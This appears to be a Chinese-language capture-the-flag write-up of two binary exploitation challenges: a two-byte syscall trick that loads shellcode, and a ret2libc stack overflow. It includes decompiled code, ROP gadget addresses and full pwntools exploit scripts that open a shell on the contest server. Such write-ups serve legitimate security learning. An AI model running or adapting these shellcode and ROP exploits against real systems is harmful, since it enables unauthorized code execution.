shellcode_level1

Hint:两字节怎么写系统调用

点击下载: shellcode_level1

Checksec 查看保护

$ chmod +x shellcode_level1
$ checksec shellcode_level1
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

发现elf开启了pie保护,并且开启了canary保护,这使得使用栈溢出漏洞进行攻击变得难以执行。但是,根据题目提示,本题实质上还是要写入shellcode,但是具体往哪里写呢?又怎么写入呢?

还是利用ida进行反编译,观察一下程序的逻辑。

int __fastcall main(int argc, const char **argv, const char **envp){
void *buf; // [rsp+0h] [rbp-10h]

buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( buf == (void *)-1LL ){
perror("mmap failed");
return 1;
}
else{
read(0, buf, 2uLL);
((void (__fastcall *)(_QWORD, void *, __int64))buf)(0LL, buf, 1280LL);
if ( munmap(buf, 0x1000uLL) == -1 ){
perror("munmap failed");
return 1;
}
else{
return 0;
}
}
}

ida里我们发现,buf变量是一段可读可写可执行的内存空间,并且,如果mmap函数开辟空间正确,首先会向buf里读入两个字节,然后会把buf空间里的内容当作函数,进行执行。那么我们自然可以想到,如果我们向buf里写入shellcode,那shellcode就会被执行,我们就可以成功获取shell。但是因为程序开启了pie保护,所以我们直接找到buf的地址向buf里写入shellcode的思路显然是不可行的,那具体怎么写入呢?

通过检查汇编代码,可以发现,在read(0,buf,2ull)之后,有向寄存器赋值的汇编代码,并且会调用rcx寄存器里的内容的操作,那我们就自然可以想到,向rcx寄存器里写入一个函数,且该函数的功能可以实现向buf里读取内容的操作。所以我们可以向rcx寄存器里写入syscall,那么syscall第一个参数是rax寄存器里的值0,所以此时看似调用的是syscall,实则调用的是read函数,并且,rax里是0,rsi的值是buf,rdx的值是500h,也就是调用read(0,buf,0x500)。

.text:000000000000122A loc_122A:                               ; CODE XREF: main+49↑j
.text:000000000000122A mov rax, [rbp+buf]
.text:000000000000122E mov edx, 2 ; nbytes
.text:0000000000001233 mov rsi, rax ; buf
.text:0000000000001236 mov edi, 0 ; fd
.text:000000000000123B call _read
.text:0000000000001240 mov rsi, [rbp+buf]
.text:0000000000001244 mov rcx, rsi
.text:0000000000001247 mov rdx, 500h
.text:000000000000124E mov rax, 0
.text:0000000000001255 call rcx
.text:0000000000001257 mov rax, [rbp+buf]
.text:000000000000125B mov esi, 1000h ; len
.text:0000000000001260 mov rdi, rax ; addr
.text:0000000000001263 call _munmap
.text:0000000000001268 cmp eax, 0FFFFFFFFh
.text:000000000000126B jnz short loc_1283
.text:000000000000126D lea rax, aMunmapFailed ; "munmap failed"
.text:0000000000001274 mov rdi, rax ; s
.text:0000000000001277 call _perror
.text:000000000000127C mov eax, 1
.text:0000000000001281 jmp short loc_1288
from pwn import *
#context(log_level='debug',arch = 'amd64',os = 'linux')
context.arch = 'amd64'
#p=process('./shellcode_level1')
p = remote('gz.imxbt.cn',20160)
p.send(asm('syscall'))
payload = b'aa'+asm(shellcraft.sh())
#b'\x90'*2 + asm(shellcraft.sh())
# '\x90'为nop的汇编,覆盖掉之前的syscall
p.sendline(payload)
p.interactive()

她与你皆失

Hint:这下好了,什么都没了,你满意了?

点击下载: pwn

checksec:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

ida查看:

int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF

init(argc, argv, envp);
puts("I have nothing, what should I do?");
read(0, buf, 0x100u);
return 0;
}

明显栈溢出,ret2libc:

$ ROPgadget --binary ./pwn | grep "ret"
0x0000000000401176 : pop rdi ; ret
0x000000000040101a : ret
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

pop_rdi_ret = 0x401176
ret = 0x40101a

io.recv()
payload = cyclic(0xA+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.send(payload)
puts = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts))
libc_base = puts - libc.sym["puts"]
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
payload = cyclic(0xA+8) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system) + p64(0)
io.sendline(payload)
io.interactive()
from pwn import *
from LibcSearcher import LibcSearcher
context(arch='amd64', os='linux', log_level='debug')
io = remote('gz.imxbt.cn', 20634)
elf = ELF('./pwn')
offset = 18
pop_rdi_ret = 0x401176
ret = 0x40101a
main_addr = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

io.recv()
leak_payload = flat(
b'A' * offset,
p64(pop_rdi_ret),
p64(puts_got),
p64(puts_plt),
p64(main_addr)
)
io.send(leak_payload)
io.recvline()
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.success(f"泄露的puts地址: {hex(puts_addr)}")
libc_search = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc_search.dump('puts')
log.success(f"libc基址: {hex(libc_base)}")
system_addr = libc_base + libc_search.dump('system')
binsh_addr = libc_base + libc_search.dump('str_bin_sh')
log.success(f"system地址: {hex(system_addr)}")
log.success(f"/bin/sh地址: {hex(binsh_addr)}")
io.recvuntil(b'I have nothing, what should I do?\n')
shell_payload = flat(
b'A' * offset,
p64(ret), # 栈对齐
p64(pop_rdi_ret),
p64(binsh_addr),
p64(system_addr),
p64(main_addr)
)
io.send(shell_payload)
io.interactive()
#libc6_2.35-0ubuntu3.8_amd64